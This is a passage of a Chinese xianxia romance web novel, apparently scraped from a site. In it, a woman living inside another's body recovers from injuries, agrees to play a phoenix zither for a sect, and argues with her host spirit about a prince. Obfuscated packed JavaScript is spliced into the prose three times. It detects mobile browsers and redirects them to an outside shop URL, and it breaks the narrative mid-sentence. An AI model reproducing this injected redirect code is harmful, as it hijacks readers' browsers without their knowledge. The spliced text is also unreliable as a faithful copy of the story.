——她已经很久没有听过这个女人的声音了,因此一时甚至未能反应过来。 她在梦境中睁开眼,对上一张妆容精致的脸。 ——楠九岛姜氏,姜敏如,陆哲的结契道侣。 “就是看着不怎么安分……”姜敏如身边一个男子目光在白郁湄的脸颊上一扫而过,轻蔑道,“这样不驯顺的奴仆,留着也是多事。” 白郁湄挑起眼皮,冷冷地看向说话的男子。 她永远记得此时此刻的每一分细节,自然也想起了这个男子的身份——姜敏如的兄长,姜氏前途无量的少主姜博远。 男子的轻贱的眼神中隐藏着微不可察的惊艳,而那时的白郁湄没有看出来。 曾经的她是如此弱小,夫君是她能拥有的唯一的东西,所以她向他们祈求怜悯……但她得到的只是羞辱与折磨。 白郁湄被捏住的脸颊忽然扯起一个笑容。 ……她想起来了,姜博远动手杀死那些姜氏族人前,也曾涕泗横流地跪在她脚下乞怜。 她总是记得此刻他轻蔑的表情,倒是有些忘了他临死前那绝望的滑稽样子。 唔,此间事了,若是还能回岛,倒是要把他召来,好好温习一番,白郁湄心想。 “陆家那小子不肯放弃她呢……倒显得我是什么恶人一样。”好像完全没发现手中女子脸上露出了怎样反常的表情,梦境中的姜敏如依然死板地按照她记忆里的模样说着台词。她说着,一边吃吃地笑了起来,发髻中钗环随着动作摇晃碰撞,发出稀碎的叮叮声响。 “明明是他家上门求娶,倒赖得我们做这个恶人,”她松开手,手指上的金属戒指在白郁湄的下颌上留下一个淤红的印痕,“真的杀掉了她,陆氏那个小公子定要与我纠缠不休的,哥哥,你要怎么处理她?” “喂点药,一年半载的也就没了,陆家也不敢追究什么,”姜博远半偏过头不再看她,随口搪塞道,“你们女孩儿不必脏这个手,便都交给我来吧。” 白郁湄已经懒得再看这梦中人的表演,干脆闭上了眼睛。 此情此景曾在她脑海中千万次的反复再现,只是那时她心中还有恨……比不得如今只是倦怠。 她感觉下颌再次被人捏住,腥甜的液体被灌进了嘴中。 熟悉的疼痛从喉咙一路蔓延至心口,白郁湄简直要笑出声来。 ——陆哲结契礼前夜,姜氏许她一味梦生之毒。 此毒三日一服,若是断药,便心如刀绞,生不如死。 姜敏如自诩仙门贵女,看不上她这样的微末草芥,不屑刁难。可姜博远这个伪君子却不同,他是光风霁月的天之骄子,自然不能有任何的逾矩之举,于是所有的阴暗都施予了白郁湄这个迟早就死之人身上。 环佩叮铃声逐渐远去——姜敏如明日结契,自然没有时间与她虚耗。 白郁湄被人扔在地上,头颅贴着冰冷的石砖。 她心情颇为平静地躺着,等待着记忆里,来自头顶的那一下剧痛。 但预想中的疼痛没有来,四下一片寂静。 她睁开眼睛,发现自己已经回到了识海中。 ——梦境结束了。 *** “呃!”姚珍珍发出一声惊喘,挣脱了无边的梦魇。 她猛地坐起身来,感觉浑身上下仿佛被千钧巨车碾过,无一处不酸乏。 梦境中的场景几乎是在醒来的一瞬间便从她脑海中删除了,只剩下些莫名的情绪残留来下。 姚珍珍睁开了眼睛。 入目所见是一片雪白。 她有些茫然地眨了眨眼睛,发现有人给自己眼前蒙上了一层白布。 “你醒了!”少年带着欣喜的欢快语调响起在她的身边。 姚珍珍伸手就想把遮眼的白布取下,手腕却被人一下抓住了。 她听见了一阵细碎的铃响。 “白姑娘,你浑身灵脉过度使用,头部瞳子髎受了冲撞,暂且不能见光。” “可是我能看见,并未失明,”姚珍珍回答道,一边谨慎地放下了手,“阁下,可是黎司药?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283604|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不知道对方做了什么动作,姚珍珍再次听见了一阵叮铃桄榔的响动,像是有人失手打翻了什么东西,动作间伴随着细密的铃响。 “咳!”黎氏的小公子欲盖弥彰地咳嗽了一声,单手按住了女子的肩膀,“是我。你如今正在沧磐府内,三殿下请我来为你诊治。” “你虽未失明,但头部大穴受损,也需避光静养几日。”少年手上用力,想将她摁回床榻上去,只是对方完全不领情,依然直挺挺的坐着,转头看向他的方向。 “如此,倒是有劳司药费心,”姚珍珍对着他点点头,忽然转过头,朝向床榻的另一边,“请问,定流坡恶蛟可是已解决?” 姚珍珍的耳边忽然响起一道笑声,声音低沉,宛如月琴低鸣,撩动人心。 “白姑娘……你这五感真是敏锐……”黎金铃不免发出一声小小的感叹。他也转过头,看向床榻另一边,正笑意盈盈地望着床上女子的燕鸣臻。 “殿下,还是你来与她说明吧,”少年神态自若地收回了手,“想来若是不能知晓全貌,她也是不肯歇下的。” “无妨,”姚珍珍感觉到腰后及背部被塞了一个柔软的枕垫,有人伸手托住了她的后脑,“白姑娘,先躺下吧,听我与你说明。” 她对燕鸣臻的声音十分熟悉,对方正在身边这个事实,有效地冲淡了些许目不能视的焦虑。 姚珍珍点点头,放松身体,向后仰倒。 “定流坡恶蛟已除,玄机处已去清扫现场,”燕鸣臻一手托着她的头靠上软枕,一边开口捡着重要的情况说给她听,“陆哲所在地洞也已寻到,我已遣人去天心阁求借青鸟一用,你不必担心。” 【“姐姐……”白郁湄的声音忽然响起在内府中,“是我无能……连累了你。”】 【“……”姚珍珍不免沉默。】 ……若要说来,如今情状,实则是自己一时热血上头所致,若只是拖住那恶蛟一炷香时间,本不至于如此伤筋动骨。 只怪一时心火迭起,情难自控。 ……白郁湄的身体毕竟不是自己的,如此不管不顾,随意施为,实在不该。 姚珍珍不由得抿起了嘴唇,斟酌着要如何回复白郁湄。 【“此事本是我的过失,今后我定量力而行,你所受伤势,我也……”】 但她话没说完,忽然感觉一侧脸颊被人碰了一下。 “当时你灵力过载,气血上涌……”燕鸣臻手指极轻的在她脸上一扫而过,“有些淤血堆积,黎司药。” 姚珍珍看不见黎金铃翻出的一个巨大的白眼,只听见衣袍窸窸窣窣的响动,伴随着叮铃铃的响声。 “金石外创,本不该我来诊治,”少年声调提高了些许,好像是故意说给谁听,“药方我已交予膳房,你若不放心,再找医者验看罢。” 听他这么说,姚珍珍也知道此番实在是亏欠各人诸多,她还要开口,却忽然听见吱呀一声门响。 “殿下?”有人探头进来,谨慎道,“天心阁那边来人求见……” “……求见白姑娘。” 41. 天心 “找我的?”姚珍珍一时惊讶开口。 不怪她有此一问。 不论是前世还是今生,她都从未认识过这个“天心阁”内的任何修士。倒不知对方登门拜访,还指名道姓的要求见自己,究竟所为何事? 或者……他们是为了白郁湄而来? 【“……我久居海外,甚少涉足南陆,姐姐,想来他们也不是是冲着我来的。”白郁湄低声地否定了她不着边际的猜想。】 姚珍珍心头一哂,很干脆的放弃了思考。她将头扭向燕鸣臻坐着的方向,以动作询问对方的意见。 “白姑娘如今沉疴未愈,还需静养,”燕鸣臻眼中亦有讶异之色,沉吟片刻,他谨慎地开了口,“可是为了求借青鸟一事?若是天心阁有意变更酬金,便依他们的要求罢了,总归是救人要紧。” “三殿下倒是料事如神,我们的确是为了酬金而来。” 一道稚嫩的童音忽然从窗外传来,所有人顿时循声转头,望向屋内另一边半开的窗棂。 ……没瞧见人,倒是先看见一柄长剑,被人挂在背后。只是带着剑的人身高好像还不够剑身长,因此从屋内看去,众人只看见剑柄高出窗口一截,其上拴着一根红色的剑穗,正随着主人的动作一摇一晃的,十分抢眼。 室内诸人,除去白纱覆眼的姚珍珍,其余众人都看见了这有些滑稽的一幕,几人都神色莫名。 背着剑的男童倒是未曾察觉到众人情绪,一手攀着木质窗棂,动作利落地翻了进来。 他穿着一身白色的衣袍,翻窗的动作利落又洒脱,衣袂翻飞间本该潇洒,只可惜他身量不高,头上还顶着个童子髻,脸颊也带着孩童的稚气,一串动作下来没了洒脱,倒像个灵活的白色大汤圆。 “我是天心阁弟子,罗玉龙。今日冒昧,因为事态特殊,只能走此捷径,前来拜访,多有冒犯,还请姑娘见谅。”男孩没有察觉出几人隐藏的笑意,板正地先介绍了自己,又很快转头,双手抱拳一躬到底,先就自己的行为给姚珍珍赔了个不是。 姚珍珍看不见他的样子,但是只听声音,也大概能猜测出这位天心阁弟子年岁尚轻。 不问自来,还是翻窗强闯,这种行为若是个成年男子做出,那定然是要受责难的。但他年纪小,态度也算诚恳,姚珍珍也就懒得追究这许多。 “小公子如此急切前来,究竟所为何事?”她也不客套,开门见山直接问道。 男孩的眼睛顿时一亮。 “听闻白姑娘琴艺绝佳,我们本是用青鸟与三殿下,”他扭头看了一眼燕鸣臻,语气一顿,“换来了凤凰琴一用,只是名器有灵,天心阁此次前来昭华的弟子都不擅琴技,无法引动器灵现身,因此冒昧前来,想请白姑娘帮忙一二。” 姚珍珍沉默了一会儿。 良久,她迟疑地开口。 “……这个琴艺绝佳,你是从哪儿听说的?”姚珍珍的嗓音中带着一丝难以察觉的颤抖——主要是因为心虚。 罗玉龙倒是完全没看出她的心虚,听她这么问,还以为是自己的吹捧让对方意动,连忙加大了力度。 “当日定流坡上凤凰显灵,全昭华的人可是亲眼所见!如今城中人尽皆知,是有人临危一曲,琴音渺渺,有如昆山玉碎、芙蓉泣露,引动琴中凤凰,遂现身合鸣,以制孽龙……” 男孩还在绘声绘色地描述,姚珍珍已经忍不住要伸手捂脸了。 感觉那只迦楼罗要是听到这种说法,大概能气得把琴弦都崩断了…… “天心阁为什么想要凤凰琴内的器灵现身?”一边的黎金铃忽然开口,他转过头,一双白瞳望向犹在滔滔不绝的男童,“凤凰一脉早已绝嗣,留在琴内的不过是残余妖灵,你们要见他,为什么?” 那个名叫罗玉龙的男孩一下被他问住了。 “这个,”他方才还滔滔不绝的话语一下卡了壳,动作也一时停滞,只伸出右手挠了挠头顶发髻,“大师姐的命令,我也不清楚是为什么啦……” “大师姐?”黎金铃挑了挑眉,轻声重复了一下他话语中的某个词语。 “呃,不是你们那个大师姐啦!”看出对面人似乎有误会,罗玉龙急忙摆摆手,“我可没那个好运去见识过天门坪习剑……虽然她要是愿意来天心阁的话肯定能当上大师姐……不对不对!” 到底是小孩子,说话时总有些天马行空的不找边际,还好他很快反应了过来。 “是我们天心阁的大师姐,朱明月,是她想要见一见凤凰的血脉。” “那么,与你同来的便是这位朱仙子了?”燕鸣臻点点头,顺势问道。 “呃,也不是,与我同来的是赵芮师姐,”罗玉龙再次尴尬地挠挠脸颊,“赵师姐她……她最近情况有些特殊,不能与、呃、不能见男客。” “……”姚珍珍挑起了一边地眉毛。 见室内众人皆是被这位赵芮师姐的怪病惊到无语,她终于可以趁机问出那个酝酿了很久的问题。 “所以,”姚珍珍清了清喉咙,仗着眼睛看不见,不用直面尴尬,她直言不讳道,“天心阁究竟是何宗门?我倒是甚少听说。” 她开口还算谨慎,将“从未听过”换成了“甚少听说”,好让自己显得不那么孤陋寡闻。 但话音一落,背着剑的小男孩首当其冲地张开嘴,露出了一个吃惊的神情。 黎金铃正揉着眉心的手指一停,眼角跳了跳,最终什么也没说。 倒是燕鸣臻嘴角一翘,眉眼弯起,浅笑着接了话。 “……是乾京历十二年才成立的新门派。与寻常仙门不同,天心阁内并无师长,门中弟子以实力排辈,相互切磋扶持,”他拣着重点给姚珍珍低声讲解,“天心阁内弟子均是难得的青年才俊,实力不俗,上一届浣金仙试的武试魁首便是天心阁的大师兄,唤作明德。” “明师兄如今已不是大师兄了……朱师姐在去岁小比中胜过了她,便成了新的大师姐。”罗玉龙突然开口,没头没尾的补了一句。 几人已经对这个小孩时不时地奇诡发言有些习惯了,燕鸣臻也只是点点头,从善如流的改了口。 “是,因着天心阁并不以资历年岁而排辈,今年的首座已换了人,是我一时失言,”他似乎自己也觉得此情此景有些无稽,嘴角笑意更甚,一边摇了摇头,“白姑娘,你久不来南陆,不了解这些也情有可谅。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313173|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他轻飘飘一句便给姚珍珍近乎无知的问题托了底,其他人便也识趣的将这个话题就此跳过。 “白姑娘之前是一直离群索居还是闭关不出吗……竟然能完全没听过……” 只有罗玉龙年幼,人情世故一知半解,此时还在不可置信地喃喃。 姚珍珍此时也反应过来自己问了个不怎么合常理的问题,心头不免惴惴,倒是没空理会这小屁孩的冒犯之语。 【“竟然如此离经叛道,这天心阁……”白郁湄雪中送炭般忽然开口,“姐姐,我也是第一次听闻。”】 姚珍珍靠在软枕上的腰都因她的话挺直了半分。 ……看看,也不是只有我一个人无知呀。 “原来如此,”姚珍珍有些不习惯的伸手抚了抚遮眼的白纱,“你们愿意出借青鸟与我,凤凰琴一事我自然也不该推辞,只是我如今伤重未愈,还请容我休养几日如何?” “你答应了?太好了!”罗玉龙稚嫩的圆脸上毫不掩饰地露出狂喜的神色,“至于休养一事,这是自然的!你若需要,我们也带了不少灵药来昭华……” 一只手轻轻搭在了他的肩头,阻止了男孩还要喋喋不休的话。 “沧磐府内各色灵材丹药皆有所藏,倒是不必天心阁出手……”燕鸣臻眼睫垂下,眼神晦暗地望着手心下脸色疑惑的男孩,微微一笑,“罗小公子。” 他手掌合拢,捏着男童的肩膀微微用力,将对方身体强行扭了个方向,面朝着门廊的方向。 “既然交易已谈妥,还是快些回去回了你的师姐吧,”他嘴角依然微微翘起,但这屋内但凡有眼色的人都能感觉出他的逐客之意,“赵姑娘还在外间客室内等着吧?” ——只可惜这屋内如今四人,黎金铃是天生目盲,姚珍珍是后天的目盲……至于罗玉龙,他年幼无知的心里大概还没有看人眼色的意识。 还好他还不算完全的顽劣无知,燕鸣臻的话让他“啊”的叫了一声,抬手一拍脑门。 “你说的对,赵师姐怕是等急了!”男童火急火燎地窜了起来,一路小跑着向着窗边奔去,身后剑穗随着动作简直甩成了一根鲜妍的小尾巴,“我先告退了!白姑娘,之后我们再来寻你!” 他手脚并用地爬上窗棂,动作灵活地翻了出去,一眨眼便消失不见了。 “噗嗤!”被这个活宝的行为逗乐,姚珍珍忍不住发出一声笑声。 黎金铃用他天生的白瞳对天翻了个没人能看出来的白眼,起身向着燕鸣臻敷衍地行了一礼。 “我乏了,”他一边说一边转身,浑身细碎铃铛叮叮当当随着走动而响起,“先走了,你好好休养。” 一句简短的医嘱说完,他人已走到门廊边,抬手便为室内二人扣上了门扉。 屋内顿时只剩下了两人……三人。 姚珍珍扭头,一只手指忽然覆上了她的额头。 青年的掌心温热,肌肤细腻,即使看不见,姚珍珍也能想象出他雪白五指并拢时如玉笋般的姿态。 她不由得有些心猿意马,刚想说些什么,另一道声音忽然响起在室内。 “姐姐?” 白郁湄惊愕的声音从她身边传来。 42. 缱绻 姚珍珍猛地扭头,覆在眼上的纱巾随着她的动作而滑落。 映入眼帘的是同样白纱覆面的女子,肌肤苍白得近乎透明,下颌尖尖,柳眉轻蹙,让人见之生怜——是白郁湄。 温热的触感忽然贴上了姚珍珍的后背,一双手轻轻地搭在了她的肩膀上,青年温热的吐息落在她耳边。 “我在这间屋子里,搭建了一个微型的幻境,只要屏退外人,你便可以在此变化本貌,”燕鸣臻低头望着少女的头顶,微微一笑,“珍珍,你觉得如何?” “!”姚珍珍只有惊喜的,毕竟能呆在自己的身体里,总是要比寄宿他人躯壳好上许多。她刚想抬头说些什么,一边白郁湄却先开了口。 “三殿下倒真是情深,”白郁湄一把将脸上的白纱扯了下来,脸上并无半分喜色,“幻境构建所需灵材宝物不知几何,只是为了一时松快,竟能豪掷千金。” 姚珍珍本来带着几分欣喜的神色一下又凝滞了。 她虽不擅阵法,但也知此道向来是格外烧钱的——人人皆道墨展宗明明已富甲天下,却还是雁过拔毛般日日敛财不止,极尽贪婪之相,不似寻常仙门气度。可她是见过墨展宗每逢年关便被讨债人堵门的惨痛情景的。其固然有墨展宗门人行事豪奢的原因,但最主要的债务还是来自其门下大量阵修平日修行赊欠的大量资材。 “呃,”姚珍珍的穷鬼本性顿时又开始发作,踌躇着扯了扯身后人的衣袖,“白姑娘说得倒也有道理……能用回本相当然很好,但若是花费较大,还是……” “珍珍,”燕鸣臻的脸上依然维持着得体的微笑,看上去仿佛一张精致而脆弱的假面,“无须为此忧心,只是简单的幻境而已。” 青年手掌依然按着少女的肩头,目光却已越过她的头顶,和另一边的女子对上。 白郁湄因为虚弱而格外惨白的面孔上扯起一个笑容,眉眼弯弯仿若春风拂面。 她抬头,一双透亮的黑眸中流露出的却是冰冷的光。 两人充满敌意的视线在半空中一触即分,几乎同时移开了目光。 “姐姐,我还是担心阿哲的情况……” “珍珍,玄机处那边的回信……” 他们几乎是同时开口,又几乎同时的戛然而止。 “嗯?”就算是姚珍珍迟钝的神经也能感觉得出此刻两人间微妙的不和谐,“怎么都不说了?” 燕鸣臻轻笑一声,单手向下,握住了少女的手掌,十指交缠着摩挲。 “早料到白姑娘担心夫婿安危,”他垂下头,捏了捏姚珍珍掌心薄薄的一层软肉,纤长五指顺着对方指骨方向轻轻揉按,“你们醒来之前,玄机处已有回报,我还未曾拆封。此事情况特殊,他们此次传信用的不是玄鸟。” “玄机处特制密音匣,若在现世,只能由我亲启,”他的另一手抬起,将一只精巧的金属匣子随手掷向白郁湄的方向,“当然,我们如今在幻境中,便没有那么多限制。” “输入灵力即可,”燕鸣臻语气轻快道,“白姑娘,你若是心急,便亲自听一听吧。” 闻言,白郁湄的脸色微微一沉。 女子伸手接过密音匣,双唇紧抿,掌心灵光微一闪。 “咔哒”一声,精巧的金属匣内部发出一声脆响,铜色金属表面亮起细密的阵纹。 “三殿下,我是胡蓉,”一个干练的女声忽然从金属匣中传出,“如今情况特殊,玄鸟传信恐被人截获,特发此密音匣相告。” “玄机处已在定流坡深处地穴中寻到你们所说的弱水深潭。” “潭水中心有一昏迷男子,根据玉牒所留信息,可以确认是在鲤乐馆失踪的陆哲。” “地穴中昏迷女童已由玄甲骑暂时收押救治,我已去信西崖州,请明砚宗来人确认此女身份。” 这个叫胡蓉的女子说话语速适中,语气也平和有力,不过寥寥数语便已将情势交待清晰,白郁湄的脸色肉眼可见的因此放松了下来。 姚珍珍的眉头却皱了起来,攥住她的手掌忽然一紧,姚珍珍回头,与同样面色凝重的燕鸣臻对视一眼,两人眼中是相似的担忧之色。 她踌躇片刻,还是没有出声打断。 但不好的预感很快应验,女子手中密音匣忽然传来一声尖利的摩擦声,像是某种金属物在石板上狠狠刮擦般,打断了胡蓉一板一眼的声音。 白郁湄被这突如其来的声音吓了一跳。 “这是什么?”她的话音还没落下,密音匣中忽然发出嘈杂纷乱的各种响动,就像是被人从静室中忽然扔进了闹市,脚步声、兵器碰撞声、盔甲落地声、惊叫、哀鸣…… 女子的手一抖,金属匣子直直下坠—— 姚珍珍伸手,用两根手指夹住了险些砸到地面的密音匣。 “我们、发现了一、个深、层、洞、窟……”女子的声音依然是干练平和的,但已不复之前的流畅,而是断断续续,几乎一字一顿,“里、面、有——” 她的声音随着一声嘶哑的咆哮声响起而戛然而止。 姚珍珍指间密音匣灵光猛地一闪,随即黯淡下去。 ……传音结束了。 “……那是什么?”白郁湄的脸色仿佛更加苍白了,她颤抖着伸手指向姚珍珍手中匣子,“密音匣坏了吗?” 燕鸣臻脸色凝重的摇摇头,他从姚珍珍手中接过已然损毁的密音匣,双掌合拢,再张开时,他手中便又是一只崭新的匣子了——密音匣当然是只能使用一次的法器,但此刻的匣子是幻境复刻的虚幻之物,他想复原多少次都可以。 “嗡”一声,密音匣再次亮起—— “三殿下,我是胡蓉。” “如今情况特殊,玄鸟传信恐被人截获,特发此密音匣相告。” “玄机处已在定流坡深处地穴中寻到你们所说的弱水深潭。” “喀嚓”一声,是青年掌心合拢,强行中止了密音匣的运转。 “你听出来了吗?她很奇怪,”姚珍珍的手指轻轻点着掌下布料,“刚开始我就觉得不太对劲了。” “什么?”白郁湄这次是真的茫然。 燕鸣臻点了点头。 “珍珍,你想得没错,这位自称胡蓉的,恐怕并不是人类。” “毕竟没有人能保证说话时,每个字之间的间隔都完全一样长。”姚珍珍补充道。 “她是个机关偃偶。” 两人对视一眼,却并没有为此刻的默契而感到欣喜的空裕。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327689|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄机处……或者,至少,玄机处派去探索弱水地穴的人出事了,”姚珍珍手指攥紧了掌中布料,打算起身,“我现在就……” “姐姐!” “珍珍。” 两道声音几乎同时响起,一前一后的两只手也同时抓住了她的前后衣摆。 “你现在需要休养。”燕鸣臻将手中金属匣随手一抛,双手拢住少女劲瘦的腰肢,上半身从后面贴住了她挺直的脊背,“……偶尔也相信一下我们吧?你好好休养,我来处理,好不好?” 青年俊美的脸颊就贴在她的耳边,近距离只会放大这份美色的杀伤力,姚珍珍被他这么一扑魂都差点飞出去,好容易艰难地挪开了眼睛,又看见白郁湄正眼巴巴的蹲在她身前攥着她的衣袖。 “姐姐……”女子什么也没说,只是如花面容上一双眼瞳直视着她,那满含哀怨与祈求的目光自下而上,击穿了姚珍珍为数不多的心防。 “好好好,我不去了,等你的消息好吧,”她恨不得举起双手来投降,眼角余光扫到被她弃置一边的白纱,顺手捞起来麻利地给自己双眼系上了,“别诱惑我了,我看不见了,现在要休息了。” 她作势挣脱身后之人,就要不管不顾地躺下,耳边却忽然传来一声笑,低沉磁性,一下撩过她的耳膜。 “珍珍,”燕鸣臻俯身,双手撑在她散开的发丝间,“这不公平。” 他低下头,色泽浅淡的双唇擦过少女的鼻尖,吐息落在她覆着白纱的双眼上。 “……愿君武运昌隆,百战不殆,”青年声音压低,不依不饶地挑逗道,“珍珍,我是如何待你的,要我帮你回忆一下吗?” “……”姚珍珍和死了一样躺在床榻上,整个人都麻了。 良久,她忽然猛地一挣,挣脱了身上人的桎梏,动作凌厉地翻身而起,反手把青年一下摁在了榻上! “闭眼。” 白纱覆面的少女开口,话语是冰冷的,语调却带着一丝颤抖。 青年嘴角含笑,依言闭上了双眼。 姚珍珍低头,她看不见,只能循着印象俯身—— 少女轻轻一吻落在青年双眼间,如蝴蝶翩迁,了无痕迹。 “我不会那么多花哨话,”姚珍珍抬起头,松开手,“此去万事小心,一定平安回来。” 她的气息来了又去,燕鸣臻深深闭眼,手指眷恋地缠绕过少女的发梢,轻轻摩挲。 此刻只是聊胜于无的慰藉,他还有许多的思念与渴求…… 他起身,看向一边面色紧绷的白郁湄,微微一笑。 下一秒,幻境解除,灵魂分离的两人再次重新回到白郁湄的身体中—— 熟悉的酸乏沉重感觉回到了体内,姚珍珍微微一动,忽然感觉手中多了某样冰冷的东西,仿佛是某种金属制品。 “白姑娘,”燕鸣臻已走到门边,“黎司药一会儿会送药过来,你便安心在此休养。” 他转身离开。 姚珍珍手指摸索着掌心多出的东西,指腹忽然传来一阵极细微的疼痛——她忽然反应过来手中的是什么了。 那是原本放在不远处的,黎金铃留下的一柄药匕,纯金打制,一侧锋利,她刚才随意摩挲,便是不慎被割伤了手指。 43. 推心 姚珍珍将受伤的手从柔软的被褥中拿了出来。 她的指尖还捏着那支锋利的药匕,一边抬手将它搁在了一边的桌面上。 短匕碰在桌面上,发出“哒”的一声轻响。 姚珍珍收回手,室内恢复寂静。 女子躺在床褥间,面色平静,胸膛随着呼吸规律地轻微起伏,仿佛已经睡着了。 【“白郁湄,”姚珍珍忽然在内府中开口,她甚少这样直接呼唤白郁湄的全名,难得一次,语气也格外严肃,“我想,我们得谈一谈。”】 【“……”白郁湄也难得不似之前殷勤亲密,而是一反常态的沉默。】 【“姐姐……”良久,她的声音响起,似乎是踌躇,语速格外慢,“我……我并非有意。”】 【她说的是那把药匕的事情——幻境中两人灵魂分离,回到身体时她手中却多了一把凶器,排除掉自己,那么是谁动的手便很显然了。】 【“唔,那么,是为什么呢?”姚珍珍不置可否地点点头,“你当时拿起它,是想要刺向谁呢?我吗?”】 【“不!不是的!姐姐,我当然不会想要伤害你!”】 昏暗病室内,床铺上躺着的女子眉心微微拧起,仿佛陷入了一个不太美妙的梦境中。 无须去听她说什么,只要感受一下内府中因主人情绪激动而产生的灵力震荡,便可知晓白郁湄此刻没有说谎,那么她就不是想要伤害自己…… 【“不是我,那就是鸣臻了。”姚珍珍心中暗叹一口气。】 【“……”这一次,白郁湄依然是沉默,但这更像是无可推脱的默认。】 真是奇也怪哉,姚珍珍心想。 在她看来燕鸣臻简直是从上到下每根头发丝都完美——容貌自然是无可挑剔的,待人接物也极真诚谦和,与这样一个出身高贵却性格极好的大美人相处,很难不身心舒畅。 可不知为何,无论前世今生,好像她身边的亲朋密友,一个个的都不怎么待见这位三殿下…… 难道是因为优秀之人总有所相似,所以会同类互斥吗?她不由得陷入一阵迷思。 【“白姑娘,你对鸣臻的敌意从秘境就很明显了……”姚珍珍此刻倒是真的有些疑惑,“他是在哪里得罪了姑娘吗?若是如此,我替他向你致歉,若你需要其他补偿,我也可以……”】 【“不是的!”内府中,白郁湄忽然加大了音量,几乎是喊着打断了姚珍珍话语。】 【“姐姐……我……”白郁湄好像也被自己忽然的爆发吓了一跳,开口的话语不由得嗫嚅起来,好在姚珍珍此刻很有耐心,只静静等着她说完。】 【“我只是觉得三殿下……他、他品行低劣!他配不上姐姐!”磕磕绊绊地说完了最后一句,她的情绪好像终于找到了宣泄口,语气逐渐激愤起来,“姐姐!你可知如今南陆到处在传他薄情寡性之事?他与那姚淼淼,向来行止便过从甚密,寡廉鲜耻,弄得流言纷纷!世人都道你为负心人所伤怀而远走洛萍!”】 【“更况且,姐姐,你……离开了整整七年,他可有过一丝一毫为你伤怀消损之意?若非,”她的话忽然卡了一下,似乎是不知该如何开口,“若非此次巧合让你能重回人间,他恐怕早已移情他人,哪还记得你曾经为他做了什么呢!”】 【“如今姐姐一朝还魂,他便又贴上来献媚邀宠,丝毫脸面也不要,姐姐,你被他那张美人皮所蒙骗,却不知这皮囊下是怎样的腌臜心思!我实在是……”】 姚珍珍已经被她一连串车轱辘般的真情流露之语给镇住了。 ……这白姑娘平时看着沉默寡言,外表也是柔弱可人,却不想是如此性烈如火嫉恶如仇的性情中人,她心想。 她忽然想起对方之前提过给陆哲下情蛊一事,不由心内叹息。 或许……正是因为曾在男女情爱中受过患得患失的伤,白郁湄才会对她与燕鸣臻之间的纠葛如此介怀? 姚珍珍想通了其中关节,有心为她开解一二,但看对方言辞激烈,体内灵脉都随着她的情绪起伏而震荡不已。姚珍珍斟酌半响,还是选了个最不容易刺激到她的切入口。 【“呃……白姑娘,”她语气都变得小心翼翼了许多,“所以你当时提及仰慕淼淼,想单独见她一面,不会也是为了……?”】 【“……是!”白郁湄咬着牙回答,语气依然是愤懑不平的,“她本是姐姐身边最亲密之人,却做出如此横刀夺爱的无耻之事,我就是要当面问问她,可曾为此感到亏心?!”】 姚珍珍在心中抬手扶住了额头。 这种感觉,好熟悉……她忍不住开始回忆。 嘶,怎么感觉她最开始和燕鸣臻定下婚约时,淼淼好像就是这样一番愤懑的来找她抱怨的? 被姚淼淼各种撒泼痴缠的记忆顿时涌上心头,她忍不住在心头打了个寒颤,深刻觉得不能放纵自己身边再来第二个姚淼淼了。 【“白姑娘,”姚珍珍的语气郑重了许多,“借用你的身体一事,我非常感谢,也愿意为你提供力所能及的回报。但是……”】 【“……与三殿下之事终究是我个人的私事,与姑娘终究不相干,我不希望你为这种……呃,私情,去伤害其他人,”姚珍珍一边说,一边放松了自己神魂,让它沉入内府中,一只手温和而不容置疑地搭上了白郁湄躁动的神魂,“如果你觉得不适,我可向你保证,绝不会用你的身体,与他有任何逾矩之举,好吗?”】 她的话语温和而有力,灵体幻化的手掌在白郁湄的肩头安抚般地拍了拍。 肩头传来的触感格外温柔,一下就将白郁湄炸了毛的神魂揉成了一个顺驯的光团。 【“是……我尽量。”她语气仄仄地做出了承诺。】 姚珍珍拧着的眉头终于松开了些许。 哈,这不是和淼淼一样,很好哄嘛,她心情放松许多,不自觉便把心里话也一并说完了。 【“而且你所说关于鸣臻与淼淼之事,”姚珍珍的语气中颇有无奈,但更多却是笑意,“流言无稽,不值一提。”】 【“我更愿意相信他的真心。”】 【“!!!”内府中,白郁湄方才平静下来的神魂顿时又炸成了一个刺球。】 *** “三殿下!这边!”汤荣林的眼神很好,一眼就看见了远处走来的青年——也可能是因为对方外貌实在扎眼的缘故。 如今的定流坡已不比前几日的守备森严,各色人流往来如织,便是比肩昭华城如今最繁华的集市,恐怕也不遑多让。 “都是来凑热闹的!不知道是哪里走漏的消息,唉!”汤容林摆着手,一脸无奈,“一听说是师姐再斩恶蛟,这群人就一窝蜂地涌过来要瞻仰什么遗迹,拦都拦不住!” 